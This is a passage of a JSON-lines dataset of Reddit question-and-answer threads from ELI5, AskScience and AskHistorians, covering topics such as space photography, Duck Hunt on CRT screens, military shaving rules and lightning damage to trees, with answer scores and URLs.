ok. But for consumer products, there better be a few thousand each day or even each hour, because it is a mass market. That means you cannot produce at the one-off quality you do for space probes.\n\n* Environment.\n * On earth, even if you hold your camera perfectly still, you have air in the way. Air with different temperatures, that have different density, and therefore break light a tiny bit (this is what makes heatwaves appear). Small dust particles floating in the air can scatter tiny bits of light. All this means is, in out atmosphere, you never have the perfect situation that every bit of what you photograph has exactly one ray of light impacting exactly one sensor on your camera. Some of that light goes elsewhere, but some other light might be scattered to this sensor from elsewhere too. It's never perfect. But space, space is empty. No air to bend light. Almost no dust to scatter any.\n * Tolerances for space hardware can be insanely tight. You can spend more on just making sure your high tech equipment is delivered to you and launched into space without being damaged than you can spend on a dozen phones or DSLRs. And once actually in space, you have quite constant parameters. Yes, you can have big temperature differences between areas in direct sunlight and in shadow, but there's no shifting humidity. No bumps, no sudden movements anymore. You can create instruments with astonishing precision for space that would not work in consumer technology because your environment is rougher and constantly changing.\n * Disturbances are almost non-existent in space. As others have pointed out, in space objects have very stable movement you can anticipate more or less flawlessly, especially the relative movement, compared to one another. On earth, even if you do not hold it in your hand, there will almost always be some vibration coming even though the ground. It's way to tiny for you to notice while photographing things on this planet, but it would get in he way if you photograph across the distances involved in astronomy.\n\n & nbsp;\n\nAll this together means you cannot afford that quality of equipment as a normal tool, you would not want to lug it around with you, it would be too sensitive for normal work and if you could afford it and could wield it and it wouldn't break, our atmosphere would ruin your shot anyway."]}, "title_urls": [], "selftext_urls": ["http://pluto.jhuapl.edu/News-Center/News-Article.php?page=20190124"], "answers_urls": [[], [], [], [], ["https://nightskyinfocus.com/2013/02/13/canon-450d-dslr-modification/"], []]}
{"q_id": "1t5wqj", "title": "why does duck hunt work on crts and not lcd screens?", "selftext": "I know the screen flashes with a white square over the duck sprite, but what us the difference? Refresh rates? Progressive vs interlaced scan?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t5wqj/why_does_duck_hunt_work_on_crts_and_not_lcd/", "answers": {"a_id": ["ce4n6bu", "ce4qy9g", "ce4syra"], "score": [18, 6, 3], "text": ["The reason is because it relies on knowing exactly which frame the screen is showing, so that it can tell which frames are showing white in the target area and which frames are showing black.\n\nLCD screens and other types of flat-screen display have something called [display lag](_URL_0_). The image shown on the screen is a few tens of milliseconds behind the signal that's sent to the screen. A few tens of milliseconds doesn't sound very much, but it's equivalent to a couple of frames, and that's enough to confuse the zapper about which frame is being displayed when.", "FYI - It does work on my 67\" rear projection DLP Samsung.", "Here you go:\n\n_URL_0_\n\nHe explains the new TVs part somewhere in the middle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Display_lag"], [], ["http://www.youtube.com/watch?v=c3tBk-LYyzo"]]}
{"q_id": "u6epo", "title": "why do yellow jackets (wasps) tend to hang out around metals such as bleachers or cars?", "selftext": "very confused since i never usually see them around wood to build nests, or maybe my eyes deceive me. /r/askscience  i hope you have an answer!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u6epo/why_do_yellow_jackets_wasps_tend_to_hang_out/", "answers": {"a_id": ["c4sqtb8", "c4t0ps7"], "score": [6, 2], "text": ["An educated guess would be that it doesn't have to do with the metal, but whats around the metal. Bleachers are usually used for sporting events so there are lots of sweets around (spilled soda/dropped candy) and cars usually have the remains of smashed insects on them. So wasps just wanna eat and those are places with lots of meals. ", "Although absence of evidence is not evidence of absence, I cannot find any data suggesting that wasps are attracted to metal, nor can I find any physiological reason why they might be.  I suspect delusiona7 is right on why they might show up in those particular places, and you may have some observation bias, ie, you are more likely to notice wasps when they show up in places like bleachers and cars where you would especially not like them to be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "jxnsw", "title": "How do those bracelets that promote increases in balance and strength work?", "selftext": "How do bracelets like [this](_URL_0_) work? \n\nedit: if they do at all", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jxnsw/how_do_those_bracelets_that_promote_increases_in/", "answers": {"a_id": ["c2fyaaq", "c2fybit", "c2fyfqi", "c2fyld0", "c2fz4tz", "c2g0gw6", "c2g1hu0", "c2g1j3d", "c2fyaaq", "c2fybit", "c2fyfqi", "c2fyld0", "c2fz4tz", "c2g0gw6", "c2g1hu0", "c2g1j3d"], "score": [51, 29, 54, 144, 17, 30, 3, 6, 51, 29, 54, 144, 17, 30, 3, 6], "text": ["They don't.  The testimonials are based on parlor tricks.", "They don't.  They're all ornate plastic and nothing more.", "Incidentally, to those who would downvote this question, please don't.  It is a perfectly valid question.  People do believe these things work.  Burying the question also buries the valid answers and explanations about how they don't work.  If /r/askscience is about informing people then it shouldn't include burying debunked material.\n\n(Edit a few hours later:  This was posted when the post was 2:2 and I was the only upvote, looks like it was unwarranted since as of this edit it's 36:11.)", "They don't. Here's a good debunking video. _URL_0_\n\nIt's OK to be fooled. I'm college educated in neuroscience and someone selling one of these almost fooled me with these tricks, until I asked why and his answer was complete BS.\n\nAlso, don't read the youtube comments. They make panda sad.", "They might, depending on how the placebo effect works on you, but the bracelets themselves don't do anything.  [A wikipedia article about Power Balance bracelets](_URL_1_) and [a good video about the placebo effect.](_URL_0_)  I hope you find this information useful.", "They work by separating the buyer from their money, profiting the seller.", " > How do those bracelets that promote increases in balance and strength work?\n\nThey don't.", "Incidentally, those magnetic wristbands don't do anything either.", "They don't.  The testimonials are based on parlor tricks.", "They don't.  They're all ornate plastic and nothing more.", "Incidentally, to those who would downvote this question, please don't.  It is a perfectly valid question.  People do believe these things work.  Burying the question also buries the valid answers and explanations about how they don't work.  If /r/askscience is about informing people then it shouldn't include burying debunked material.\n\n(Edit a few hours later:  This was posted when the post was 2:2 and I was the only upvote, looks like it was unwarranted since as of this edit it's 36:11.)", "They don't. Here's a good debunking video. _URL_0_\n\nIt's OK to be fooled. I'm college educated in neuroscience and someone selling one of these almost fooled me with these tricks, until I asked why and his answer was complete BS.\n\nAlso, don't read the youtube comments. They make panda sad.", "They might, depending on how the placebo effect works on you, but the bracelets themselves don't do anything.  [A wikipedia article about Power Balance bracelets](_URL_1_) and [a good video about the placebo effect.](_URL_0_)  I hope you find this information useful.", "They work by separating the buyer from their money, profiting the seller.", " > How do those bracelets that promote increases in balance and strength work?\n\nThey don't.", "Incidentally, those magnetic wristbands don't do anything either."]}, "title_urls": [], "selftext_urls": ["http://www.irenew.com/"], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=atujz5lWLQ4&feature=related"], ["http://www.youtube.com/watch?v=yfRVCaA5o18", "http://en.wikipedia.org/wiki/Power_Balance"], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=atujz5lWLQ4&feature=related"], ["http://www.youtube.com/watch?v=yfRVCaA5o18", "http://en.wikipedia.org/wiki/Power_Balance"], [], [], []]}
{"q_id": "f9hpff", "title": "motor and generator effect", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f9hpff/eli5_motor_and_generator_effect/", "answers": {"a_id": ["firn62k", "firtsi9"], "score": [3, 3], "text": ["Generator effect refers to the concept that a moving magnet through a coil generates an electrical current, in a very broad explanation. An examples of this is music speakers, in which current travels through a coil (which is created from the microphone moving in and out of a coil) and moves a magnet and *thumps* the speaker. I made the explanation more difficult, but a YouTube video should be able to show easily how this works with speakers.\n\nMotor effect is a much more difficult topic and I dont fully understand it. Basically it's a force that acts on a wire that is carrying current through a magnetic field. Judging by a couple of videos, it will cause the coil wire to rotate within  the magnetic field. This is a pretty complex topic, so I'm not sure how much better it can explained. Another youtube video for this one, but I would say don't try to understand the right hand rule for direction of force - that's a calculus concept that you probably won't understand just yet, so just accept it.", "By definition a motor\u00a0is a\u00a0device designed to convert electrical\u00a0energy into\u00a0mechanical energy.\nLet's say you connect a battery to a DC motor, it will turn in one direction. And if you connect the battery in the \"wrong\" way it will turn in the other direction. Example of motors effects : Fan, electric scooter, vibraror in a joypad, ...\n\nAnd if you want you can use this same DC motor in generator mode. By tuning it manually you will produce electricity.\nExample of generator effect: Dynamo bicycle light,... \n\nThere are various other types of motor where this motor/generator effect may appear. The principle is the same (coils moving in a magnetic field) but for AC voltage. For example: hydroelectric dams, ..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2qb06y", "title": "how does redddits secret santa work? no one is nice enough to explain on other subs.", "selftext": "how do you get paired? how do they know what you like and dislike? how do you know when it starts?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qb06y/eli5_how_does_redddits_secret_santa_work_no_one/", "answers": {"a_id": ["cn4ggfw", "cn4jc98", "cn4ms68", "cn4nla5", "cn4rmbj"], "score": [29, 5, 9, 2, 2], "text": ["You subscribe to a page and say what your likes are and your address.  \nThen you get assigned someone, you know their reddit name they don't know yours, and you have access to their likes.  You can see their posts and figure out what they might like.  \nThen you ship something to this person.  Hopefully someone is shipping one to you too.  ", "Keep an eye on _URL_0_ \nSub to the mailing list and all important dates will be sent to you ", "Imagine if you will that you have a group of people called A, B, C, D and E. All of these people are then matched up randomly so in giving gifts you could have \n\nSanta| Receiver  \nA | C  \nB | D  \nC | E  \nD | A   \nE | B  \n\nThis means that everyone is paired up with both someone to give them a gift and someone to give a gift to. Except in reddits case there are thousands more people.\n\nThere is also two groups which you can be a part of. International and Local. International Santas can give and receive gifts from anyone in the world but some may not want to do this because international shipping can be pricey. Local santas are matched with a giver and receiver from their own country. ", "not explaining anything, more of a fyi- they do have an extensive list of FAQs on _URL_0_ and linked on their sidebar.  if you are on a pc their subreddit (/r/secretsanta) does have a FAQ tab that is in yellow ", "I always assumed that it involved buying yourself an outrageously awesome gift, then pretending it was a secret Santa for karma."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["redditgifts.com"], [], ["www.redditgifts.com"], []]}
{"q_id": "1ls5ty", "title": "Where did the stereotype that black men have large dicks come from?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ls5ty/where_did_the_stereotype_that_black_men_have/", "answers": {"a_id": ["cc276gz"], "score": [16], "text": ["I talked about this a bit on Saturday in our Sexuality AMA if you'd like to have a read. [It comes from early \"ethnographies\" of Africa during the European colonialism era.](_URL_0_) The size of African men's penises was exaggerated and used as evidence of their inferiority. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1lkszg/askhistorians_ama_thread_history_of_sexuality/cc08x6k"]]}
{"q_id": "co2515", "title": "Why did regiments in the military put people of the same race, ethnicity, religion, etc. together instead of mixing them all in", "selftext": "This happened more in American history, especially during the civil war. Why was ther a regiment of Jews or a separate regiment for African Americans.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/co2515/why_did_regiments_in_the_military_put_people_of/", "answers": {"a_id": ["ewg4isj"], "score": [3], "text": ["This is a little vague. The text of the question implies that you primarily mean the American army of the Civil War (or, presumably, the Union and Confederate armies), but it isn't clear whether you mean other militaries too, for which there are rather a few reasons corresponding to the multiple periods, cultures and socio-political situations. Do you have one military in mind, or many?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4w6t2o", "title": "how did gladiators in rome have so much muscle and strength eating what is portrayed as gruel?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4w6t2o/eli5_how_did_gladiators_in_rome_have_so_much/", "answers": {"a_id": ["d64hc4x", "d64igh1", "d64ij1k", "d64itl9", "d64k65r"], "score": [4, 7, 22, 4, 3], "text": ["Gruel can provide plenty of calories, and through some meat or beans in, and it has protein, too.\n\nAlso, big and strong is relative.  Gladiators of old probably looked nothing like the oiled up bodybuilders you see in your typically gladiator movies.\n\nEven comparing a [1960 gladiator movie](_URL_0_) to a [modern one](_URL_1_), and the modern ones are way more buff.", "The real gladiators were as much performers as professional warriors. Not every fight was to the death; think WWF wrestling rather than death matches.\n\nSponsoring a gladiator of your own was very prestigious so they were well cared for, and women would even pay to have sex with them (sort of a mix between groupies and racehorse breeding stock).\n\nThink about it; are you going to get most of the capital of the Roman Empire to come see the fight of a guy you starved? No way! Beef up an NFL linebacker who has trained from birth with a spear and short sword and then see him fight an enraged tiger! That would draw a crowd!\n\nHollywood doesn't really care about historical accuracy, so their diet is just whatever fits the director's vision.", "The way gladiators are portrayed in media doesn't particularly hold up to history.\n\nGladiators ate a vegetarian diet, rich in carbohydrates. Gladiators also weren't the buff, oiled up dudes you see on TV. They commonly packed on quite a few extra pounds. Part of that is because they didn't train for looks (The build of TV gladiators is more like body-builders, all form, not so much function) but another part is that it provided a bit of extra protection. Better to be sliced along the fat (which bled a bunch which was exciting for the crowds) than take that weapon to your internal organs. \n\n(Gladiators also rarely actually fought to the death. They were expensive to train. Letting your gladiators fight to the death was a bad business move for a lanister.)", "They ate a lot of barley from what I understand, which has 23 grams of protein per cup.  They also were well fed, from what I understand, receiving three meals a day.  From depictions of gladiators in artwork, they were pretty muscular.  The fact that they ate a vegetarian diet was a bit surprising, but I don't think they were deprived of protein.", " > .8-1.5 grams of protein per pound you won't efficiently get stronger or bigger.\n\nWhile they probably did not look anything like what is portrayed today in movies/TV....the high protein being \"necessary\" for any muscle or strength gains is a myth.\n\n > INOUE, FUJITA and NIIYAMA (1973) showed that in young men the supply of an excess of energy resulted in a reduction of protein requirements for maintaining N balance. With maintenance energy (45 kcal/kg), the egg protein requirement was estimated at 0.65 g/kg, whereas with excess energy (57 kcal/kg), the minimum requirement was 0.46 g/kg.  \n\n[Source](_URL_0_)\n\nSo even at @ 1 gram/KG (or @ 0.5 grams/LB) of protein is more than enough when calories (and carbs) are sufficient. The rest is progressive training."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://s3.amazonaws.com/auteurs_production/images/film/spartacus/w1280/spartacus.jpg", "https://aelarsen.files.wordpress.com/2014/03/3003.jpg"], [], [], [], ["http://archive.unu.edu/unupress/food2/UID07E/UID07E0H.HTM#4"]]}
{"q_id": "5bagxx", "title": "why do some militaries require men to be clean shaven?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bagxx/eli5_why_do_some_militaries_require_men_to_be/", "answers": {"a_id": ["d9mxrwu", "d9mxskl", "d9mymr8", "d9myqfe", "d9mz2p7", "d9mzsxd", "d9n07es", "d9n08dr", "d9n0iie", "d9n0zs5", "d9n19wy", "d9n1u4u", "d9n1vto", "d9n36aj", "d9n3ffd", "d9n3gyo", "d9n3uz9", "d9n4ab5", "d9n4ayw", "d9n4db9", "d9n4yc7", "d9n5d30", "d9n5e2g", "d9n5f3u", "d9n5hhz", "d9n5xvd", "d9n61qr", "d9n74jb", "d9n7e23", "d9n7fyj", "d9n83lm", "d9n87fu", "d9n8jeo", "d9n8vdr", "d9n8zn7"], "score": [1289, 46, 2463, 12, 14, 6, 44, 5, 3, 4, 22, 78, 18, 13, 4, 127, 2, 3, 10, 47, 5, 2, 9, 3, 6, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["\"Excluding limited exemptions for religious accommodation, the\u00a0United States Army,\u00a0Air Force, and\u00a0Marine Corps\u00a0have policies that prohibit beards on the basis of hygiene, the necessity of a good seal for chemical weapon protective masks, the official position that uniform personal appearance and grooming contribute to discipline and a sense of camaraderie.\"", "No personal millitary experience but:\n\nPetrochemical workers often need to be clean shaven because facial hair can interfere with a gas mask's seal around your face, and they may have to \"mask up\" in a hurry if gas starts leaking.\n\nI can see the same logic for millitary types. Chemical attack means mask on NOW.", "Former US Army Captain.\n\nMain reason is discipline. If you allow a soldier to grow facial hair, you allow their individuality which in some people's opinions reduces unit cohesion. The argument is that if everyone looks the same, everyone will think more alike and camaraderie is increased.\n\nAnother reason is militaries simply like everything to look the same. Facial hair seems disorganized and unprofessional. An exception to this is US Army Special Forces, who has a tradition of extremely relaxed grooming standards (AR 670-1 basically doesn't exist). This often leads to many incidents on American military bases.\n\nThere is the gas mask reason but that is down the list. It is true that a clean shaven face makes a more proper seal, I can personally attest to that. This is also the reason why Hitler shaved his mustache the way he did, and after the war he simply kept the style.\n\nA soldier can be exempted from shaving. It is called a \"shaving profile\"- it can be attained when you can clearly show an army doctor that shaving irritates the shit out of your skin, causing some pretty horrid bumps and abrasions. This seems to happen more often in African American soldiers.\n\nHope this helps.", "There are three basic reasons; all have practical considerations.\nThe cultural reason is the attempt to make uniform mean 'uniform.' Hair length, etc is standardized as hazing, for group cohesion, for reinforcement of the idea that one is not, in fact, an individual. It makes individuals difficult to identify, and therefore more difficult to count (for enemy intelligence purposes). \nThe ancient practical reason was that a beard could be a handle. A skilled enemy could grab hair to control and defeat a bearded soldier.\nThe modern practical reason has been mentioned: NBC gear, gas masks, etc seal more easily over naked skin. Field conditions and personal hair growth, not to mention individual skill and skull shape make this research not as clear cut - no pun intended - as one would hope.", "Some militaries historically have required facial hair. The British Army certainly did in the past. The French \u2022 sapeurs* or combat engineers of the French Foreign Legion still wear beards. The Royal Navy allow beards.  \n\nWorldwide, there's a wide range. See this [wikipedia article](_URL_0_). Many of these wear masks etc.", "One word, Uniformity. All Military's love everything and anyone to look as similar as possible.", "While I agree with what the others have said, hygiene is also high on the list of reasons, (same for shaved/short hair styles).    \nThis is to limit the spread of lice and the likes\n    \nPrisons have the same requirements for the same reasons.", "The most common reason cited is that it promotes good order and discipline - discipline in things like dress and appearance will promote discipline on the battlefield. But if you're on the front lines for a month with no relief, no one is going to care if you have a beard. It also promotes the uniformity demanded by the military, which also promotes good order and discipline.\n\nThe second most common reason cited is that it would prevent gas masks from forming a proper seal with your face and allow whatever CBRN effects you're trying to avoid to come into contact with your face and respiratory system. This may have certainly been true when gas masks were a new thing, but that technology has progressed to the point where that is questionable. ", "in addition to all the disciplinary/uniformity reasons that other people mentioned, It just is a long standing tradition in military uniform and what not.\n\nNapoleon's armies were required to have short hair and no long beards because long hair/beards created problems with lice infestations and what not.\n\nThat grew into popular workplace culture with people even adopting the Napoleonic uniforms into workplace \"suits\" that we see in business suits today. Before that it wasn't uncommon to see long magnificent beards in high class society and whatnot.", "Probably for a similar reason to how I am required to be clean shaven working in the oilfield. Facial hair makes it so a gas mask cant seal correctly. ", "Its more about keeping discipline than practicality. \"You will do what you are told, you will act how you are told, you will look the way you are told.\"\n\nOriginally it was used in the Roman military for the same purpose. Although, a legend says that Caesar forces his legionaires to do this because the Gauls would grab their hair and slit their throat.", "The main reasons are the discipline, hygenie, and gas masks like others have said. Although on your point about it being a \"waste\" in a risky environment I think you are underestimating just how much downtime there can be in warfare. If you are in a situation where you really don't have the time to shave, you won't get keelhauled for not shaving it.", "I was in the Navy and the bullshit answer I was given was that if there happened to be a chemical weapons attack that our gas masks wouldn't get a proper seal against or face. This was actually proved to be incorrect and people are trying to get the rule reversed. In my honest opinion it is to dehumanize us. Having facial hair and different haircuts makes us individuals. Just another facet of our lives for them to control.", "I think part of it may be from tradition, at this point. Not the main reason, of course, but Alexander the Great had his men shave, so that they couldn't be grabbed by their beards. I know a lot of military customs are pretty traditional, so that may be a small part of it.", "My army colonel grandpa told me it had to do with discipline.\n\nIt gives soldiers a routine, and in combat routine makes you feel human/normal.\n\nPlus if gives a army a image of order and self respect.\n \nAlso facial hair enables your gas mask to leak, complicating the seal to you face.", "Former Austrian Solider here.\n\nAustrian soldiers are allowed to grow beards since June, I think.\n\nBefore that we could only have mustaches and sideburns no longer than the end of the earlobes.\n\nThe main reason for that, was, and still is, the proper seal of the ABC-Protection Mask and consequently suit. \n\nWhile it is possible to attain a proper seal with a beard, it is far easier to do so without. \nThus all Austrian soldiers, not exempt due to health reasons needed to be clean shaven. \n\nThis is not the case anymore. Generally an Austrian Soldier has to be clean shaven, but unless your company's commanding officer forbids it you can grow a beard. It is now basically the same thing as deciding which jacket you're allowed to wear as an outmost layer and which you're not.", "WWI required that combat infantry be clean shaven so that their gas masks would create a solid seal on their faces during a gas attack. ", "Sometimes it's because they're required to wear some type of mask which would be ineffective if there was hairs creating holes in the seal the mask forms around your face. ", "Fun Fact:\n\nThe British military used to *require* that officers wore [mustaches!](_URL_0_)", "The stated reason for the British Military is to ensure a tight seal for protective masks, a thick beard would render gas masks ineffective. \n\nI have a feeling from some of the research I did on the topic a couple of years ago that there's different rules in the Navy. The entire vessel is sealed off against chemical attacks. However in the Navy you're required to grow a full beard within a matter of weeks or go clean shaven, apparently your commanding officer gets to rate if your beard is worthy. \n\nThere's a ceremonial position in the British Army that requires a bread be grown, I can't remember the official title but from memory it's a single person and he has a ceremonial axe.   ", "The real reason is that it was introduced as a way to ensure gas masks would fit when gas weapons became a common thing you'd encounter in world war 1. People will say crap about discipline and individuality, but the reality is that many militaries encouraged well groomed facial hair before WW1.", "You get a seemingly insignificant task which you have to perform every day - shaving. That's an order! If you haven't shaved, it shows immediately, and it signals that you have started to neglect your duties and might soon stop taking orders. It is a sign of morale decline if soldiers don't shave. You have to shave, so that your superiors can tell if you are becoming disheveled.", "U.S. Navy guy here:\n\nOur military is a business.  Everyone needs to look presentable and professional.  Unless you're part of a specwar community and have blanket orders stating you relax grooming standards or something cool like that.  Of course there are exceptions to the rule like if you're black and shave with a straight edge you're prone to get in-grown hairs (before people get butt hurt, people of all races can get them but it's mostly black men who actually have the condition and it can be a burden for them) People with that condition usually get what we call \"no shave chits\" and they don't shave, but the beard shall not be groomed and shall not exceed 1/4\" in length. Easiest way I can put it from a Navy standpoint.", "To add to the other answers, Alexander the great forbid beards because it gives your enemies something to grab in close combat", "Former submariner here.\n\nOne of the big things we were concerned about on the boat was fire, and we had emergency air breathing masks - think gas masks that hooked up to an internal network of air pipes. This way, we'd be able to still breathe and function if the boat filled up with smoke.\n\nWhile we mostly had to be clean-shaven, we were allowed to grow beards on deployment, but you couldn't go full neck beard - you still had to be able to get a good s al on your EAB. ", "Well if you want to look back in time, you can thank Rome for clean shaved soldiers. During and era of history where most men had beards, and especially most men of nomadic and semi nomadic tribal warriors, the Romans really distinguished themselves by requiring all the soldiers to be clean shaven. This being the western world today, we take everything from Rome and the clean shaved soldier is another thing we've embraced.", "It's for respirators. Especially in the Navy, a fire in a submarine is especially bad but any large surface craft is broken into compartments and it is quite easy to get lost in there. ", "Jarhead here, the acutal reason people have to shave in the military is due to making a good seal with your gasmask.  Your less effective in combat wiggling on the ground puking up your guts from CS gas or some other nightmare inducing shit.", "If I remember right, back in the medieval sort of days, they would make them shave off their beards because it was a weakness in defense. When people were fighting with swords and shields, you could just grab them by the beard and cut their head off. So if there was nothing to grab, it was a better defense.\nI might be wrong about that though, so don't quote me on it.", "One consideration is the equipment they use or may need to use. For many masks and respirators, you need a tight seal with the skin. A beard can interfere with the necessary seal.\n\n", "Didn't you see Gen Kill? The grooming standard is the backbone of the USMC!!!", "Historically: Lice\n\nToday: Discipline, to show they own you.\n\nIn the US military you can get in trouble for getting a sunburn as that is damaging US military property.\n\nOnce you think that way it is easier to follow orders that put your life in danger.", "The primary reason is to instill discipline, they might say it's about gas mask seal and whatnot, but that is only secondary to the main goal: Making you aware that you're not your own man anymore and you have no say. You do what they say, when they say, whenever and wherever, no questions asked.", "Former Marine \n\nDiscipline.  The Corps doesn't really give a shit about facial hair but it's all about discipline.  \n\nThe effect of the grooming standard carries over to how you service your rifle and react in high stress situations.  A miniscule but needed effect", "Reading Lord of the Flies it reminds us that as people it's important to be civilized and remember that we're human with intellectual morals. My gramps, when he was in the army, told his men that no matter where they are they always be well groomed. Being stranded in the unknown with no food, water or shelter will strip you of your humanity. \"We are men, not savages\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Facial_hair_in_the_military"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.todayifoundout.com/index.php/2012/08/from-1860-1916-the-uniform-regulations-for-the-british-army-required-every-soldier-to-have-a-moustache/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ep66a", "title": "Why did the lightening tear down the tree's bark but didn't fry it outright?", "selftext": "Link to pic: _URL_1_\n\nLink to Original Reddit thread: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ep66a/why_did_the_lightening_tear_down_the_trees_bark/", "answers": {"a_id": ["ca2egs5", "ca2x322"], "score": [10, 2], "text": ["I recently took a course called Ecology of Forest in university and we learned about the anatomy of trees. Since this is the first time I post in this subreddit, I'm not sure if I qualify as an expert or if this is seen as layman speculation. If it is the latter, I'm sorry in advance.  \nA tree consists of [various layers](_URL_0_), some of which are dead. Between the (dead) outer bark (layer 5, 6 and 7) and the actual wood of the tree (1, 2 and 3) lies the phloem (4). This transports fluids from the roots to the top of the tree.  \nI think that the liquid (mostly water) in the phloem evaporated because of the heat of the lightning. The sudden increased pressure caused the bark to burst off. The wood of the tree is probably conserved because there's enough water in it to prevent it from bursting into flame, but not enough to increase the pressure so drastically that the wood splits as well. The wood of a tree is stronger than the bark.", "Also note that common \"cold\" lightning lasts for tens of microseconds and tends to produce explosive effects rather than flames.   The much more rare \"hot\" lightning lasts thousands of times longer, up to large fraction of a second, and can easily char wood, set fires, or melt metal.   Excellent refs for all lightning questions are the Martin Uman books."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/pics/comments/1ep0c5/lightning_last_night_blew_the_bark_off_this_tree/", "http://i.imgur.com/sGu0pEk.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/File:Stem-histology-cross-section-tag.svg"], []]}
{"q_id": "1k4lgc", "title": "why does it feel good to be clean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k4lgc/eli5_why_does_it_feel_good_to_be_clean/", "answers": {"a_id": ["cblb5xv", "cblbi1o", "cblbk6j", "cblcdmy", "cblephl"], "score": [11, 7, 280, 2, 10], "text": ["The simple answer is because you've learnt to feel good about it.  Babies don't care how dirty they get, neither do kids by and large.  I suspect that if we didn't have a society which valued hygiene so highly we wouldn't really care either. But the fact is that we do, and being unclean is a recipe for social shunning.  So when we wash it makes others feel better about us, and that makes us feel better about us.", "This is just a guess but I assume it also has something to do with the hot water making the pores of your skin open up, as well as making the skin more pliable. Also, you've rid yourself of dirt, oil, and sweat so don't have that sticky feeling all over. The fragrance of your soap or shampoo is likely a contributing factor as well. ", "Oils that occur naturally on your skin combine with dirt from the environment to create a layer covering your body. This layer changes the nature of tactile sensation you receive from the environment (eg, clothing, armpits, light breeze, etc.). Furthermore, this layer reduces your skin's ability to diffuse body heat by inhibiting sweat evaporation and radiant conduction. ", "Speculation here, but it could also be the body's positive feedback response to making yourself less susceptible to disease, getting rid of germs, etc.", "I heard a radio program about this. We have trained ourselves to like feeling clean. It's been awhile; but the guy studying this, talked about how when we go camping we don't mind being dirty and throughout long periods of history being dirty was fine.\n\nThe main thing that I found fascinating was the quote \"Queen Elizabeth bathed once a month  whether she needed it or not.\" Bathing everyday was looked at as a mania back then.\n\nDon't forget to actually bath was a huge undertaking-showering is pretty easy compared to fetching water -a few buckets and perhaps heating it. \n\nI'll add more if there's interest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "60n01x", "title": "Can the history of a country determine their genetic identity properly?", "selftext": "Recently I saw an article in my language (Serbo-Croation) that has caused quite a stir for some people. Basically this Serbian guy who thought he was a Serb all his life took a DNA test and found out his DNA is pretty much Bosnian/Montenegrin and less Serbian. Throughout Yugoslavian history people have changed their identities over and over. During the occupation of Montenegro lots started to identify as Serbs, and of course that continued to echo on throughout generations, until they take a DNA test and receive the shock. So my questions is pretty much the title, but I understand it might be complicated. Like for Mexico a lot might say that the people who's ancestors came from Spain are Spanish, but they might be more Native Aztec than Spanish due to the mixing between the two.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/60n01x/can_the_history_of_a_country_determine_their/", "answers": {"a_id": ["df7nb4t", "df7texs"], "score": [3, 4], "text": ["While you might find an answer here, you should consider posting at /r/AskAnthropology as well!", "In short no. Anthropologist here. A big issue in the USA is DNA testing for American Indians. There are three main types of testing; haplogroup, y chromosome and mitochondrial DNA. Haplogroups currently are not well defined and have a small sample size so they're not to accurate beyond really pre history archaeological work. Y chromosome is only inherited from the father if you're a male and mitochondrial is only inherited from the mother. If someone was half Souix, these tests actually have a good chance of saying they're not native. If the mother is European and the father Souix and a mitochondrial DNA test is done the test would read European. But if a y chromosome test is done in the same scenario, only the sons could claim ancestry. Finally if a haplogroup test is done (D is the most common for American Indians) it narrows it down to ancestry from the Americas, most of Central and Northern Asia and parts of Eastern Europe. While these tests can help archaeologists test migration hypothesises they're not exactly accurate for the purpose you've described."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2x2x6c", "title": "started watching chowder on netflix, how do animators do the static patterns that stay with the characters and such when they move in scene? (like chowders hat", "selftext": "I'm just really curious since its a cool technique I've noticed in other animated shows that I can't quite place in my memory at the moment. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x2x6c/eli5_started_watching_chowder_on_netflix_how_do/", "answers": {"a_id": ["cowg0q6", "cowgixv", "cowkpgo", "cox7eiy"], "score": [2, 28, 2, 3], "text": ["You dropped this ).\n\n\n I have no knowledge but I assume that it's actually transparent and they just add different static layers.", "It's actually quite simple. When doing graphic art you do a lot of what is called layer masking, where you basically put a shape over a layer (which can be a full screen for example) and tell the computer to hide all of the layer unless it falls under the shape in question. \n\nJust think of it like a transparent window, and the texture actually covers the whole screen, but you can only see it as the 'window' passes over it.", "Animation student here! Im not sure what program chowder is animated on, but if its toonboom there are static/locked layers that allows the animator to 